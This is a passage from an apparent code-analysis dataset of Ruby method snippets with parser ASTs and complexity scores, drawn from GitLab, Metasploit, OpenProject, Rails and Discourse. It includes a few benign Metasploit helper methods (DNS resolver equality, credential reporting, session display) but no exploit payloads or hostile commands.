:mention,\n target_status: eq(mention.status).and(have_loaded_association(:account)),\n mention: have_loaded_association(:status)\n ).and(have_loaded_association(:mention))\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mention_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"mention\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mention\"]},\"status\"]}]},\"and\",{\"type\":\"send\",\"children\":[null,\"have_loaded_association\",{\"type\":\"sym\",\"children\":[\"account\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mention\"]},{\"type\":\"send\",\"children\":[null,\"have_loaded_association\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]},\"and\",{\"type\":\"send\",\"children\":[null,\"have_loaded_association\",{\"type\":\"sym\",\"children\":[\"mention\"]}]}]}]}","id":"3a92d5f2-7f06-493c-b24d-c8a90bc460ee"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gpg/commit.rb","start_line":138,"raw_source":"def verified_by_gitlab?\n signer == :SIGNER_SYSTEM\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"verified_by_gitlab?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signer\"]},\"==\",{\"type\":\"sym\",\"children\":[\"SIGNER_SYSTEM\"]}]}]}","id":"82e53f94-776e-4fe4-b3e9-f55484e43b86"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/upstream_resolver.rb","start_line":64,"raw_source":"def eql?(other)\n return false unless other.is_a?(self.class)\n return false unless other.type == type\n return false unless other.destination == destination\n return false unless other.socket_options == socket_options\n true\n end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"eql?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"type\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"type\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"destination\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"destination\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"socket_options\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"socket_options\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"212001f8-e63a-40c4-811c-28d4fce3e09d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250414124312_remove_application_settings_package_registry_individual_columns.rb","start_line":24,"raw_source":"def down\n add_column TABLE_NAME, :package_registry_allow_anyone_to_pull_option, :boolean, default: true, null: false\n add_column TABLE_NAME, :package_registry_cleanup_policies_worker_capacity, :integer, default: 2, null: false\n add_column TABLE_NAME, :packages_cleanup_package_file_worker_capacity, :smallint, default: 2, null: false\n add_column TABLE_NAME, :npm_package_requests_forwarding, :boolean, default: true, null: false\n add_column TABLE_NAME, :lock_npm_package_requests_forwarding, :boolean, default: false, null: false\n add_column TABLE_NAME, :maven_package_requests_forwarding, :boolean, default: true, null: false\n add_column TABLE_NAME, :lock_maven_package_requests_forwarding, :boolean, default: false, null: false\n add_column TABLE_NAME, :pypi_package_requests_forwarding, :boolean, default: true, null: false\n add_column TABLE_NAME, :lock_pypi_package_requests_forwarding, :boolean, default: false, null: false\n\n add_check_constraint TABLE_NAME,\n 'package_registry_cleanup_policies_worker_capacity >= 0',\n 'app_settings_pkg_registry_cleanup_pol_worker_capacity_gte_zero'\n\n add_check_constraint TABLE_NAME,\n 'packages_cleanup_package_file_worker_capacity >= 0',\n 'app_settings_p_cleanup_package_file_worker_capacity_positive'\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"package_registry_allow_anyone_to_pull_option\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"package_registry_cleanup_policies_worker_capacity\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"packages_cleanup_package_file_worker_capacity\"]},{\"type\":\"sym\",\"children\":[\"smallint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"npm_package_requests_forwarding\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"lock_npm_package_requests_forwarding\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"maven_package_requests_forwarding\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"lock_maven_package_requests_forwarding\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"pypi_package_requests_forwarding\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"lock_pypi_package_requests_forwarding\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"package_registry_cleanup_policies_worker_capacity >= 0\"]},{\"type\":\"str\",\"children\":[\"app_settings_pkg_registry_cleanup_pol_worker_capacity_gte_zero\"]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"packages_cleanup_package_file_worker_capacity >= 0\"]},{\"type\":\"str\",\"children\":[\"app_settings_p_cleanup_package_file_worker_capacity_positive\"]}]}]}]}","id":"bd8ce86c-aa54-4c36-8e3d-72c7e8a09fcd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/vbulletin_vote_sqli.rb","start_line":152,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :nonreplayable_hash,\n jtr_format: 'md5'\n }.merge(service_data)\n\n login_data = {\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::UNTRIED,\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"str\",\"children\":[\"md5\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"98cc5986-f46a-457a-a4e3-0e968ae4971b"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/enterprise_tokens/row_component.rb","start_line":130,"raw_source":"def status_scheme(status)\n case status\n when :trial\n :accent\n when :invalid_domain, :expired\n :danger\n when :not_active, :expiring_soon, :in_grace_period\n :attention\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"status_scheme\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"trial\"]},{\"type\":\"sym\",\"children\":[\"accent\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid_domain\"]},{\"type\":\"sym\",\"children\":[\"expired\"]},{\"type\":\"sym\",\"children\":[\"danger\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"not_active\"]},{\"type\":\"sym\",\"children\":[\"expiring_soon\"]},{\"type\":\"sym\",\"children\":[\"in_grace_period\"]},{\"type\":\"sym\",\"children\":[\"attention\"]}]},null]}]}","id":"d79b9b01-a3ea-4756-aae5-8a797becf231"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/aggregator.rb","start_line":77,"raw_source":"def show_session(details, _target, local_id)\n status = pad_space(\" #{local_id}\", 4)\n status += \" #{details['ID']}\"\n status = pad_space(status, 15)\n status += ' meterpreter '\n status += \"#{guess_target_platform(details['OS'])} \"\n status = pad_space(status, 43)\n status += \"#{details['USER']} @ #{details['HOSTNAME']} \"\n status = pad_space(status, 64)\n status += \"#{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}\"\n print_status status\n end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"show_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"details\"]},{\"type\":\"arg\",\"children\":[\"_target\"]},{\"type\":\"arg\",\"children\":[\"local_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"pad_space\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_id\"]}]}]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ID\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"pad_space\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},\"+\",{\"type\":\"str\",\"children\":[\" meterpreter \"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guess_target_platform\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OS\"]}]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"pad_space\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[43]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USER\"]}]}]},{\"type\":\"str\",\"children\":[\" @ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HOSTNAME\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"pad_space\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[64]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LOCAL_SOCKET\"]}]}]},{\"type\":\"str\",\"children\":[\" -> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REMOTE_SOCKET\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"1b9652f3-8344-4822-b0d3-b6a74b9ca9ff"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":606,"raw_source":"def test_running_actions_with_class\n test_process(AuditController)\n assert @controller.instance_variable_get(:@was_audited)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_running_actions_with_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"const\",\"children\":[null,\"AuditController\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@was_audited\"]}]}]}]}]}","id":"19566424-9730-49e6-9e29-2b926a102e39"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service.rb","start_line":209,"raw_source":"def set_default_start_date(attributes)\n return if attributes.has_key?(:start_date)\n\n work_package.start_date ||= if parent_start_earlier_than_due?\n work_package.parent.start_date\n elsif Setting.work_package_startdate_is_adddate?\n Time.zone.today\n end\n end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_start_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"start_date\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"start_date\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_start_earlier_than_due?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"parent\"]},\"start_date\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"work_package_startdate_is_adddate?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"today\"]},null]}]}]}]}]}","id":"f55bf2f7-c956-4666-b954-e4fefc9ae6a0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/ci_cd_settings.rb","start_line":26,"raw_source":"def api_post_body\n <<~GQL\n mutation {\n projectCiCdSettingsUpdate(input: {\n clientMutationId: \"#{mutation_id}\"\n inboundJobTokenScopeEnabled: #{inbound_job_token_scope_enabled}\n fullPath: \"#{project_path}\"\n })\n {\n ciCdSettings {\n inboundJobTokenScopeEnabled\n }\n errors\n }\n }\n GQL\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mutation {\\n\"]},{\"type\":\"str\",\"children\":[\" projectCiCdSettingsUpdate(input: {\\n\"]},{\"type\":\"str\",\"children\":[\" clientMutationId: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mutation_id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" inboundJobTokenScopeEnabled: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbound_job_token_scope_enabled\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" fullPath: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" })\\n\"]},{\"type\":\"str\",\"children\":[\" {\\n\"]},{\"type\":\"str\",\"children\":[\" ciCdSettings {\\n\"]},{\"type\":\"str\",\"children\":[\" inboundJobTokenScopeEnabled\\n\"]},{\"type\":\"str\",\"children\":[\" }\\n\"]},{\"type\":\"str\",\"children\":[\" errors\\n\"]},{\"type\":\"str\",\"children\":[\" }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]}]}","id":"778935ac-01e5-4937-a4bc-246aa4b140f3"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/sidebar.rb","start_line":15,"raw_source":"def has_direct_message_channel?(channel, **args)\n channel_selector = direct_message_channel_selector(channel, **args)\n predicate = component.has_css?(channel_selector)\n\n if args[:unread]\n predicate &&\n component.has_css?(\"#{channel_selector} .sidebar-section-link-suffix.icon.unread\")\n elsif args[:mention]\n predicate &&\n component.has_css?(\"#{channel_selector} .sidebar-section-link-suffix.icon.urgent\")\n else\n predicate &&\n component.has_no_css?(\"#{channel_selector} .sidebar-section-link-suffix.icon\")\n end\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"has_direct_message_channel?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_selector\",{\"type\":\"send\",\"children\":[null,\"direct_message_channel_selector\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_css?\",{\"type\":\"lvar\",\"children\":[\"channel_selector\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unread\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"predicate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_selector\"]}]},{\"type\":\"str\",\"children\":[\" .sidebar-section-link-suffix.icon.unread\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mention\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"predicate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_selector\"]}]},{\"type\":\"str\",\"children\":[\" .sidebar-section-link-suffix.icon.urgent\"]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"predicate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_selector\"]}]},{\"type\":\"str\",\"children\":[\" .sidebar-section-link-suffix.icon\"]}]}]}]}]}]}]}]}","id":"393a2421-a774-49fe-bb3e-6754e7f5a7f2"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":1087,"raw_source":"def test_rollback_when_saving_a_frozen_record\n topic = Topic.new(title: \"test\")\n topic.freeze\n e = assert_raise(FrozenError) { topic.save }\n # Not good enough, but we can't do much\n # about it since there is no specific error\n # for frozen objects.\n assert_match(/frozen/i, e.message)\n assert_not topic.persisted?, \"not persisted\"\n assert_nil topic.id\n assert_predicate topic, :frozen?, \"not frozen\"\n 